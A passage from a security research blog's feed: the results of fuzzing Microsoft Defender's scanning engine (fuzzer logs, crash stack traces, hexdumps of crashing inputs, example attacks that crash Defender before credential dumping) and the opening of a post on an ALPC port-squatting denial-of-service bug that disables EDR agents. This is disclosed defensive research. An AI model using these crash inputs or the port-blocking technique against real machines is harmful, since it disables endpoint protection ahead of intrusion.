&lt;p&gt;A large and diverse corpus is essential for this target, as it parses numerous file types, including packed files that coverage-guided fuzzing alone might not effectively explore without good initial seeds.
The files which are interesting for Defender are actual malware. And the perfect place to find a huge amout of malware is &lt;a href=&quot;https://vx-underground.org/&quot;&gt;VX-Underground&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Seeding the initial corpus took multiple days, but it resulted in a good coverage increase, with over 10,000 files yielding distinct coverage.&lt;/p&gt;
&lt;h2&gt;4.4 Fuzzing with WTF&lt;/h2&gt;
&lt;p&gt;Snapshots were taken with and without PageHeap enabled for &lt;code&gt;MsMpEng.exe&lt;/code&gt;. As the target is rather slow and memory-heavy, the speed without PageHeap is significantly higher. Therefore, fuzzing was first run without PageHeap to explore coverage and subsequently with PageHeap to catch more bugs.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./wtf master --name defender_file --inputs inputs --runs 100000000  --max_len 100000 
Iterating through the corpus..
Sorting through the 219701 entries..
#8151 cov: 56117 (+56117) corp: 1503 (9.9kb) exec/s: 815.0 (23 nodes) lastcov: 0.0s crash: 0 timeout: 0 cr3: 0 uptime: 1.4min
#14182 cov: 67734 (+11617) corp: 2430 (31.4kb) exec/s: 709.0 (23 nodes) lastcov: 0.0s crash: 0 timeout: 0 cr3: 28 uptime: 1.6min
#19470 cov: 72835 (+5101) corp: 3103 (58.8kb) exec/s: 649.0 (23 nodes) lastcov: 0.0s crash: 0 timeout: 0 cr3: 47 uptime: 1.7min
#23475 cov: 79492 (+6657) corp: 3540 (85.0kb) exec/s: 586.0 (23 nodes) lastcov: 0.0s crash: 0 timeout: 0 cr3: 49 uptime: 1.9min
#25946 cov: 81771 (+2279) corp: 3774 (102.4kb) exec/s: 518.0 (23 nodes) lastcov: 0.0s crash: 0 timeout: 0 cr3: 56 uptime: 2.0min
#29398 cov: 85851 (+4080) corp: 4156 (136.9kb) exec/s: 489.0 (23 nodes) lastcov: 0.0s crash: 8 timeout: 0 cr3: 63 uptime: 2.2min
#33006 cov: 88877 (+3026) corp: 4487 (173.8kb) exec/s: 471.0 (23 nodes) lastcov: 0.0s crash: 9 timeout: 0 cr3: 66 uptime: 2.4min
#35472 cov: 92594 (+3717) corp: 4784 (213.7kb) exec/s: 443.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 70 uptime: 2.5min
#37112 cov: 94070 (+1476) corp: 4950 (239.0kb) exec/s: 412.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 71 uptime: 2.7min
#38765 cov: 94880 (+810) corp: 5103 (264.7kb) exec/s: 387.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 71 uptime: 2.9min
#39673 cov: 95412 (+532) corp: 5186 (279.8kb) exec/s: 360.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 71 uptime: 3.0min
#41523 cov: 96330 (+918) corp: 5304 (302.9kb) exec/s: 346.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 78 uptime: 3.2min
#43117 cov: 97747 (+1417) corp: 5439 (331.6kb) exec/s: 331.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 93 uptime: 3.4min
#45219 cov: 99233 (+1486) corp: 5572 (363.2kb) exec/s: 322.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 94 uptime: 3.5min
#47520 cov: 100210 (+977) corp: 5736 (404.8kb) exec/s: 316.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 94 uptime: 3.7min
#49300 cov: 101207 (+997) corp: 5890 (447.6kb) exec/s: 308.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 95 uptime: 3.9min
#50935 cov: 102396 (+1189) corp: 6079 (502.5kb) exec/s: 299.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 98 uptime: 4.0min
#51692 cov: 103436 (+1040) corp: 6155 (525.7kb) exec/s: 287.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 99 uptime: 4.2min
#51910 cov: 103602 (+166) corp: 6167 (529.3kb) exec/s: 273.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 99 uptime: 4.4min
#52149 cov: 103634 (+32) corp: 6178 (532.7kb) exec/s: 260.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 100 uptime: 4.6min

./wtf fuzz --name defender_file  --state state2_MpEngine1.1.2310_PHenabled_locked --backend kvm
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a fuzzing run of the already processed seeds from VX-Underground. The speed drops as the input file size increases, consequently making scanning take longer.&lt;/p&gt;
&lt;p&gt;The maximum coverage of &lt;code&gt;mpengine.dll&lt;/code&gt; I achieved before the fuzzer stopped at the end of the function &lt;code&gt;mpengine!UfsScanFileCmd::Execute&lt;/code&gt; was around &lt;code&gt;154,000&lt;/code&gt; basic blocks.&lt;/p&gt;
&lt;p&gt;The fuzzing results and analysis of the crashes are described in &lt;a href=&quot;#5-Results&quot;&gt;Section 5. Results&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;4.5 Fuzzing with kAFL/NYX&lt;/h2&gt;
&lt;p&gt;Since WTF, by default, includes relatively simple mutation strategies, I decided to use kAFL, which incorporates more advanced techniques like &lt;a href=&quot;https://www.ndss-symposium.org/ndss-paper/redqueen-fuzzing-with-input-to-state-correspondence/&quot;&gt;Redqueen&lt;/a&gt;. This can help fuzz through complex &lt;code&gt;cmp&lt;/code&gt; instructions that are unlikely to be passed accidentally. I hoped this would yield more coverage.&lt;/p&gt;
&lt;h3&gt;Harness&lt;/h3&gt;
&lt;p&gt;As a harness I adapted &lt;a href=&quot;https://github.com/taviso/loadlibrary/blob/master/mpclient.c&quot;&gt;mpclient.c from loadlibrary&lt;/a&gt;. Initially, I wanted to trigger a normal scan on the running system and then set hooks at the snapshotting position. However, there was no documentation on how to fuzz it by injecting and then triggering the kAFL interaction by using hooks. Recently, a new way of using NYX called &lt;a href=&quot;https://github.com/neodyme-labs/hyperhook&quot;&gt;Hyperhook&lt;/a&gt; is available. Using Hyperhook, a classic harness to initialize and call the target code is not necessary, and Defender could potentially be fuzzed in its original environment more easily.&lt;/p&gt;
&lt;p&gt;The code of the harness based on &lt;code&gt;mpclient.c&lt;/code&gt; is on Github: &lt;a href=&quot;https://github.com/ig-labs/Defender-mpengine-Fuzzing/blob/main/mpclient_defender_harness_kafl.c&quot;&gt;mpclient_defender_harness_kafl.c&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A version to test the harness without hypercalls is also available: &lt;a href=&quot;https://github.com/ig-labs/Defender-mpengine-Fuzzing/blob/main/mpclient_defender_harness_withoutHypercalls.c&quot;&gt;mpclient_defender_harness_withoutHypercalls.c&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Initially, I used kAFL on a Hetzner server with an &lt;code&gt;Intel Xeon Gold 5412U&lt;/code&gt; CPU, but this led to frequent &lt;code&gt;libxdc_decode&lt;/code&gt; errors:
&lt;img src=&quot;./kafl_decodeerror.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;These errors did not occur in a previous setup on an older laptop. As the kAFL maintainers had not encountered these errors on other targets, I tested different CPUs on AWS bare-metal systems. Intel Xeon CPUs from the 3rd generation and newer seem to cause these errors. On Intel Xeon 1st and 2nd generation CPUs, the problem did not manifest.&lt;/p&gt;
&lt;p&gt;Another problem is a memory consumption issue described in this &lt;a href=&quot;https://github.com/IntelLabs/kAFL/issues/271&quot;&gt;GitHub Issue&lt;/a&gt;. The QEMU instances consume progressively more memory and eventually die. Reducing the number of running instances (to provide more memory per core) and periodically restarting the fuzzing process (e.g., after several days) helped mitigate this.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./kafl_gui.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I used kAFL with Redqueen and Grimoire enabled and ran it for a month. It found some new coverage, but very little overall, and no new crashes. This was surprising, as I had expected better results from these advanced mutation techniques.&lt;/p&gt;
&lt;h2&gt;4.6 Fuzzing with Jackalope&lt;/h2&gt;
&lt;p&gt;As I already had a harness to trigger a scan using &lt;code&gt;RSIG_SCAN_STREAMBUFFER&lt;/code&gt; from the kAFL harness, I wanted to test Jackalope as I hadn&apos;t used it before. However, Jackalope proved less suitable for this target because the initialization (loading &lt;code&gt;mpengine.dll&lt;/code&gt;) is time-consuming, taking about 10 seconds per launch.&lt;/p&gt;
&lt;p&gt;The code of the harness based on mpclient.c is on Github: &lt;a href=&quot;https://github.com/ig-labs/Defender-mpengine-Fuzzing/blob/main/jackalope_defender_harness_stream.c&quot;&gt;jackalope_defender_harness_stream.c&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Initially, the initialization happened for every single run because Jackalope restarts on new coverage even if you use persistent fuzzing. Therefore, &lt;code&gt;-clean_target_on_coverage 0&lt;/code&gt; is necessary.&lt;/p&gt;
&lt;p&gt;However, the target still needed to reload frequently due to timeouts with some inputs. If the timeout was set low, the target reloaded frequently. If set high, it spent too much time on slow inputs. Additionally, many crashing files were already in the seeds, causing further reloads. Ultimately, it was too slow, making a snapshot fuzzer the better choice for mpengine.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\fuzzing\Jackalope\build\Release&amp;gt; .\fuzzer.exe -crash_retry 0 -generate_unwind -coverage_retry 0 -clean_target_on_coverage 0 -in seeds -out out -t1 100000 -t 10000 -delivery shmem -instrument_module mpengine.dll -target_module jackalope_defender_harness_stream.exe -target_method scanFile -nargs 0 -iterations 1000 -persist -loop -nthreads 1 -- jackalope_defender_harness_stream.exe &quot;@@&quot;
Fuzzer version 1.00
156019 input files read
Running input sample seeds\000132616d55e4bd0866cb5ed828dc88
setup shared mem shm_fuzz_31364_1
[+] Starting... jackalope_defender_harness_stream.exe
[+++++++] NEW START!
laoded dll
got rsignal addr 5fc0e2e0
size BootParams: 1b8

Total execs: 1
Unique samples: 0 (0 discarded)
Crashes: 0 (0 unique)
Hangs: 0
Offsets: 0
Execs/s: 1

Total execs: 1
Unique samples: 0 (0 discarded)
Crashes: 0 (0 unique)
Hangs: 0
Offsets: 0
Execs/s: 0
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;5. Results&lt;/h1&gt;
&lt;p&gt;The fuzzing was performed on an older version of mpengine.dll (&lt;code&gt;1.1.23100.2009&lt;/code&gt;) as I had started reversing it some time ago and continued fuzzing later. However, most crashes could be reproduced on the new version &lt;code&gt;1.1.25040.1&lt;/code&gt; from April 2025. Crash1 was likely fixed as Crash1 and Crash2 were reported to MSRC but both &quot;did not meet MSRC’s bar for immediate servicing&quot;.  Crash5 and Crash6 no longer trigger a crash in the latest version; I did not verify if the underlying issue was fixed or if other code changes merely altered the path.&lt;/p&gt;
&lt;p&gt;To reproduce these crashes, enable full PageHeap for &lt;code&gt;MsMpEng.exe&lt;/code&gt;. This can be done by booting Windows in Safe Mode, making the change, and then restarting. Otherwise, access is blocked. The files are available &lt;a href=&quot;https://github.com/ig-labs/defender-mpengine-fuzzing/tree/main/crashes&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Here is a list of the identified bugs (note: &lt;code&gt;mpengine.dll&lt;/code&gt; base address was &lt;code&gt;0x7ffcdbab0000&lt;/code&gt;):&lt;/p&gt;
&lt;h3&gt;crash1-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdc670b03&lt;/h3&gt;
&lt;p&gt;Crashes without PageHeap in most attempts. It was likely fixed in an unknown version after being reported to MSRC. This is the only bug which triggerd in a real environment but not with the harness using &lt;code&gt;RSIG_SCAN_STREAMBUFFER&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;File type: &lt;code&gt;Java archive data (JAR)&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mpengine!strncmp+0x13
mpengine!RpfAPI_strncmp+0xa3
mpengine!netvm_method_call+0x1b2
mpengine!netvm_emulate+0x758
mpengine!netvm_parse_routine+0x37e
mpengine!netvm_method_call+0x9b
mpengine!netvm_emulate+0x758
mpengine!netvm_parse_routine+0x37e
mpengine!netvm_loadmodule2+0x3ad
mpengine!rpf_pInvoke+0x235
mpengine!scan_rpf+0x6c
mpengine!kcrce_scanfilelast+0x42
mpengine!UfsScannerWrapper::ScanFile+0x9f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./crash1_windbg.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;crash2-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdbba5fdf&lt;/h3&gt;
&lt;p&gt;Null Pointer Dereference. Reliably crashes Defender.&lt;/p&gt;
&lt;p&gt;File type: &lt;code&gt;unknown&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mpengine!FilteredTrie&amp;lt;unsigned long,FilteredTrieSerializer&amp;lt;unsigned long&amp;gt;,1&amp;gt;::match+0x603
mpengine!hstr_internal_search_worker+0x108
mpengine!hstr_internal_search+0x7e
mpengine!DmgScanner::Scan+0x682
mpengine!dmg_scanfile+0x63
mpengine!UfsScannerWrapper::ScanFile+0x9f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./crash2_windbg.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;crash3-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdc0a4acb&lt;/h3&gt;
&lt;p&gt;OOB Read of 4 bytes (reserved but unallocated memory). Only crashes with PageHeap.&lt;/p&gt;
&lt;p&gt;File type: &lt;code&gt;PE32 executable (GUI) Intel 80386, for MS Windows, 3 sections&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mpengine!memcpy_repmovs+0xb 05f4acb
mpengine!CachedFile::InternalWrite+0x376  002f6266
mpengine!CachedFile::Write+0x3c 002f5edc
mpengine!vfo_write+0x92 00163822
mpengine!RpfAPI_vfo_write+0x5a  08b2c1a
mpengine!netvm_method_call+0x1b2  08b5ad6
mpengine!netvm_emulate+0x758  0010d468
mpengine!netvm_parse_routine+0x37e
mpengine!netvm_method_call+0x9b
mpengine!netvm_emulate+0x758
mpengine!netvm_parse_routine+0x37e
mpengine!netvm_loadmodule2+0x3ad
mpengine!rpf_pInvoke+0x235
mpengine!rpf_pInvoke_PE+0x5d
mpengine!pefile_call_breakpoint_handlers+0x93
mpengine!kvscanpage4sig+0x150
mpengine!scan_PE_context::jmp_scan+0xfc
mpengine!BasicBlocksInfo::scan_BB+0x71
mpengine!DTscan_worker&amp;lt;0&amp;gt;+0x22f
mpengine!DTscan+0x117
mpengine!scan_pe_dtscan_slice+0x9c
mpengine!scan_pe_dtscan+0xff
mpengine!scan_pe_redtscan+0x167
mpengine!pefile_scan_mp+0x2105
mpengine!UfsScannerWrapper::ScanFile+0x52

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./crash3_windbg.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;crash4-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdbb6e1e7&lt;/h3&gt;
&lt;p&gt;OOB Read on finding executable in a virtual file system. Only crashes with PageHeap.&lt;/p&gt;
&lt;p&gt;File type: &lt;code&gt;JavaScript?&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mpengine!MpSuppFindExecutable+0x5f
mpengine!MpSuppCreate+0x26f
mpengine!PreCreateProcess+0x9b
mpengine!pe_create_process+0x117
mpengine!KERNEL32_DLL_WinExec+0xf3
mpengine!__call_api_by_crc+0x1c4
mpengine!x32_parseint+0x71
mpengine!BasicBlocksInfo::safe_execute+0x53
mpengine!IL_2_exe&amp;lt;0&amp;gt;+0x8a3
mpengine!DTscan_worker&amp;lt;0&amp;gt;+0xcfb
mpengine!DTscan+0x117
mpengine!scan_pe_dtscan_slice+0x9c
mpengine!scan_pe_dtscan+0xff
mpengine!pefile_scan_mp+0x2105
mpengine!UfsScannerWrapper::ScanFile+0x52
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./crash4_windbg.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./crash4_ida.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;crash5-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdc3d3b22&lt;/h3&gt;
&lt;p&gt;Interestingly, Defender scans and emulates Mach-O files on Windows. This OOB read initially seemed promising, as a size variable could potentially be influenced if the memory layout is controllable. However, it could not be turned into an OOB write. Only crashes with PageHeap.&lt;/p&gt;
&lt;p&gt;File type: &lt;code&gt;Mach-O 64-bit x86_64 dynamically linked shared library, flags:&amp;lt;NOUNDEFS|DYLDLINK|TWOLEVEL&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mpengine!macho_lua_api_GetSegment+0x102
mpengine!luaD_precall+0x205
mpengine!luaV_execute+0x407
mpengine!luaD_call+0x35
mpengine!luaD_rawrunprotected+0x5b
mpengine!ExecuteLuaScript+0x20e
mpengine!ValidateSignatureWithPcodeWorker2+0x1d9
mpengine!ValidateSignatureWithPcode+0x23
mpengine!CHSTRMatchHelper::ProcMatchLevel+0xab
mpengine!hstr_internal_report_match_worker+0x2c5
mpengine!hstr_internal_report_match+0x44
mpengine!MachoParser::Scan+0x1e63
mpengine!macho_scanfile+0x71
mpengine!UfsScannerWrapper::ScanFile+0x9f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./crash5_windbg.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;./crash5_ida.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;crash6-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcf36b3c29&lt;/h3&gt;
&lt;p&gt;OOB read in an encrypted Office document. This specific file only crashes with PageHeap but it can be adapted to crash without PageHeap.&lt;/p&gt;
&lt;p&gt;File type: &lt;code&gt;Composite Document File V2 Document&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This crashes because of a wrong &lt;code&gt;saltSize&lt;/code&gt; value:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00000b20  44 61 74 61 20 73 61 6c  74 53 69 7a 65 3d 22 31  |Data saltSize=&quot;1|
00000ba0  68 6d 3d 22 53 48 41 32  35 36 22 20 73 61 6c 74  |hm=&quot;SHA256&quot; salt|
00000d40  30 22 20 73 61 6c 74 53  69 7a 65 3d 22 31 37 22  |0&quot; saltSize=&quot;17&quot;|
00000dc0  3d 22 53 48 41 35 31 32  22 20 73 61 6c 74 56 61  |=&quot;SHA512&quot; saltVa|
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;ntdll!memcpy+0x29
bcryptPrimitives+0x5ad7
bcryptPrimitives+0x3f85
bcrypt!BCryptHashData+0x77
rsaenh!CPHashData+0xbb
CRYPTSP!CryptHashData+0x94
mpengine!OfficeEcma376AgileDecryptor::HashHelper+0x71
mpengine!OfficeEcma376AgileDecryptor::CheckPassword+0x20b
mpengine!DecryptWithPassword+0x26
mpengine!DecryptWorker+0x48
mpengine!TryDecryptDocument+0x1ab
mpengine!RME::Scan+0x137
mpengine!macro_scan+0x8c
mpengine!UfsScannerWrapper::ScanFile+0x9f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./crash6_windbg.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;crash8-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdc0a517f&lt;/h3&gt;
&lt;p&gt;An OOB read while searching for a character in a string. Only crashes with PageHeap.&lt;/p&gt;
&lt;p&gt;File type: &lt;code&gt;Unicode text, UTF-16, little-endian text&lt;/code&gt;. This is a very small file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00000000  ff fe 23 00 53 00 74 00  72 00 65 00 61 00 6d 00  |..#.S.t.r.e.a.m.|
00000010  20 00 43 00 6f 00 6e 00  74 00 61 00 69 00 6e 00  | .C.o.n.t.a.i.n.|
00000020  65 00 72 00 20 00 46 00  69 00 6c 00 65 00 0a 00  |e.r. .F.i.l.e...|
00000030  74 00 61 00 69 00 6e 00  65 00 72 00 20 00 46 00  |t.a.i.n.e.r. .F.|
00000040  69 00 6c 00 00 6e 00 74  00 61 00 69 00 6e 00 65  |i.l..n.t.a.i.n.e|
00000050  00 72 00 20 00 46 00 69  00 6c 00 65 00 0a 75 72  |.r. .F.i.l.e..ur|
00000060  6f 3d 2e 63 6d                                    |o=.cm|
00000065
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;mpengine!wcschr+0x27
mpengine!nUFSP_replayablecontainer::FindNext+0xe0
mpengine!UfsFindData::FindFirstUsingPlugin+0xe4
mpengine!UfsFindData::FindFirst+0xd0
mpengine!UfsClientRequest::FindNextInNode+0x270
mpengine!UfsNodeFinder::FindFirst+0xd3
mpengine!UfsClientRequest::AnalyzeNode+0x8e
mpengine!UfsClientRequest::AnalyzeLeaf+0x18c
mpengine!UfsClientRequest::AnalyzePath+0x24f
mpengine!UfsCmdBase::ExecuteCmd&amp;lt;&amp;lt;lambda_63254cfa82a2be95f0c1106eef9d5b22&amp;gt; &amp;gt;+0x11c
mpengine!UfsScanFileCmd::Execute+0x50
mpengine!ksignal+0x5f1
mpengine!EngineProcessFile+0x219
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./crash8_windbg.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;5.1 Example POCs&lt;/h2&gt;
&lt;p&gt;Crash Defender by clicking a link that triggers a &quot;PDF&quot; download. This could be used in combination with an initial access payload:
&lt;img src=&quot;crash2_web_link.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Crash Defender by uploading a file via SMB before dumping credentials:
&lt;img src=&quot;Defender_crash2_samdump1.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;6. Conclusion&lt;/h1&gt;
&lt;p&gt;The initial assumption that &lt;code&gt;mpengine.dll&lt;/code&gt; is an interesting fuzzing target proved correct. Nine memory-related bugs were identified that led to a denial of service. While this specific research did not uncover RCEs, the methodology could have potentially revealed exploitable bugs. Nevertheless, attackers can leverage such denial-of-service vulnerabilities to crash Defender before executing subsequent malicious actions (see &lt;a href=&quot;#51-example-pocs&quot;&gt;5.1 Example POCs&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Depending on the specific scenario, some of the identified crashes have a CVSS v4.0 score of approximately 6.8/10 (e.g., &lt;code&gt;CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N&lt;/code&gt; for a downloaded file). However, for some mail clients, Defender can also be configured to scan files automatically which would lead to a remote attack without user interaction.&lt;/p&gt;
&lt;p&gt;Given that these vulnerabilities can be easily exploited to repeatedly crash Defender&apos;s main process, we believe these issues warrant addressing by Microsoft. During our tests, no corresponding alerts were observed in the security dashboard following these crashes or subsequent malicious actions.&lt;/p&gt;
</content:encoded><author>Manuel Feifel</author></item><item><title>Attacking EDRs Part 3: One Bug to Stop them all</title><link>https://labs.infoguard.ch/posts/edr_part3_one_bug_to_stop_them_all/</link><guid isPermaLink="true">https://labs.infoguard.ch/posts/edr_part3_one_bug_to_stop_them_all/</guid><description>This post describes a DoS vulnerability affecting most Windows EDR agents. The vulnerability is an issue in the handling of already existing objects in the Object Manager&apos;s namespace.</description><pubDate>Mon, 24 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This blog post is part of a series analyzing attack surface for Endpoint Detection and Response (EDR) solutions. Parts 1-3 are linked, with concluding notes for that initial sub-series in Part 3.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part1_intro_-_security_analysis_of_edr_drivers/&quot;&gt;Part 1&lt;/a&gt; gives an overview of the attack surface of EDR software and describes the process for analysing drivers from the perspective of a low-privileged user.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part2_driver_analysis_results/&quot;&gt;Part 2&lt;/a&gt; describes the results of the EDR driver security analysis. A minor authentication issue in the Windows driver of the Cortex XDR agent was identified (CVE-2024-5905). Additionally a PPL-&quot;bypass&quot; as well as a detection bypass by early startup.
Furthermore, snapshot fuzzing was applied to a Mini-Filter Communication Port of the Sophos Intercept X Windows Mini-Filter driver.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part3_one_bug_to_stop_them_all/&quot;&gt;Part 3&lt;/a&gt; (&lt;strong&gt;this article&lt;/strong&gt;) describes a DoS vulnerability affecting most Windows EDR agents. This vulnerability allows a low-privileged user to crash/stop the agent permanently by exploiting an issue in how the agent handles preexisting objects in the Object Manager&apos;s namespace. Only some vendors assigned a CVE (CVE-2023-3280, CVE-2024-5909, CVE-2024-20671).&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/attacking_edr_part4_fuzzing_defender_scanning_and_emulation_engine&quot;&gt;Part 4&lt;/a&gt; describes the fuzzing process of Microsoft Defender&apos;s scanning and emulation engine &lt;code&gt;mpengine.dll&lt;/code&gt;. Multiple out-of-bounds read and null dereference bugs were identified by using Snapshot Fuzzing with WTF and kAFL/NYX. These bugs can be used to crash the main Defender process as soon as the file is scanned. None of the bugs appear to be exploitable for code execution.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;1. Summary of ALPC Blocking Vulnerability&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;A DoS vulnerability has been discovered within the majority of tested EDRs on Windows that allows a low priviledged user to disable the EDR after a reboot:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Palo Alto Cortex XDR&lt;/li&gt;
&lt;li&gt;Microsoft Defender (for Endpoint)&lt;/li&gt;
&lt;li&gt;Check Point Harmony&lt;/li&gt;
&lt;li&gt;Kaspersky Endpoint Security for Business&lt;/li&gt;
&lt;li&gt;Trend Micro Vision One XDR&lt;/li&gt;
&lt;li&gt;Malwarebytes for Teams (only one module is disabled)&lt;/li&gt;
&lt;li&gt;SentinelOne (only one executable is blocked with unknown consequences)&lt;/li&gt;
&lt;li&gt;CrowdStrike XDR (only certain features are disabled)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This can be achieved by opening a specific ALPC (Advanced Local Procedure Call) port or other ressources, typically utilized by the products themselves. Most EDRs use ALPC for inter-process communication in the user-mode components. However, none of the tested EDRs deals with the case if the requested port-name is already used. Consequently the initialization fails and either the user-mode service crashes or is in a non-functional state. The kernel-components which are still running, did not have any detecting or blocking functionality in the tests except for Crowdstrike that implements a large part in the drivers.&lt;br /&gt;
A scheduled task can be used to win the race to register the ALPC port. For example a user-logon trigger with high prioriy and &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/component-updates/winlogon-automatic-restart-sign-on--arso-&quot;&gt;ARSO&lt;/a&gt; is sufficient for most EDRs. Otherwise, event-triggers can be used but they require the &lt;em&gt;Logon as batch job&lt;/em&gt; privilege.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;PoC code can be found in this repository:
::github{repo=&quot;ig-labs/EDR-ALPC-Block-POC&quot;}&lt;/p&gt;
&lt;h1&gt;2. Windows ALPC Introduction&lt;/h1&gt;
&lt;p&gt;:::note
You do not need to know any of this to understand or exploit the vulnerability, but it may be useful if you want to conduct your own research.
:::&lt;/p&gt;
&lt;p&gt;Windows Advanced (or Asynchronous) Local Procedure Call (ALPC) is an inter-process communication (IPC) mechanism that allows processes, services and drivers on the same host to communicate with each other via pre-defined interfaces. Other IPC mechanisms include named pipes, shared memory, and remote procedure call (RPC). ALPC is a fast and efficient mechanism heavily used within the Windows operating system.&lt;/p&gt;
&lt;p&gt;ALPC itself is undocumented by Microsoft and developers are not indented to use it directly. However, there are official libraries such as RPCRT4.dll which use ALPC under the hood. &lt;a href=&quot;https://www.youtube.com/watch?v=UNpL5csYC1E&amp;amp;ab_channel=SyScan&quot;&gt;Alex Ionescu reverse engineered and published internals of ALPC&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If ALPC can be used directly or with the RPC Run Time. By default, it registers a port object at the location &lt;code&gt;\RPC Control\Test-Port&lt;/code&gt;) and afterwards a client can connect to it. If plain ALPC is used, raw messages can be send in both directions.
Typically, ALPC is used as one implementation of &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/rpc/protocol-sequence-constants&quot;&gt;Windows RPC &quot;&lt;strong&gt;ncalrpc&lt;/strong&gt;&quot;&lt;/a&gt;. The library RPCRT4.dll provides functionality for developers to use it. The server registers interfaces where each interface can have multiple methods through IDL-files which are compiled and integrated into the server and client (client/server stub).&lt;/p&gt;
&lt;p&gt;The registered ALPC ports can be looked up in &lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/winobj&quot;&gt;WinObj from SysInternals&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;winobj_alpc.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; ALPC Ports in WinObj &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;alpc_overview.png&quot; alt=&quot;&quot; /&gt;
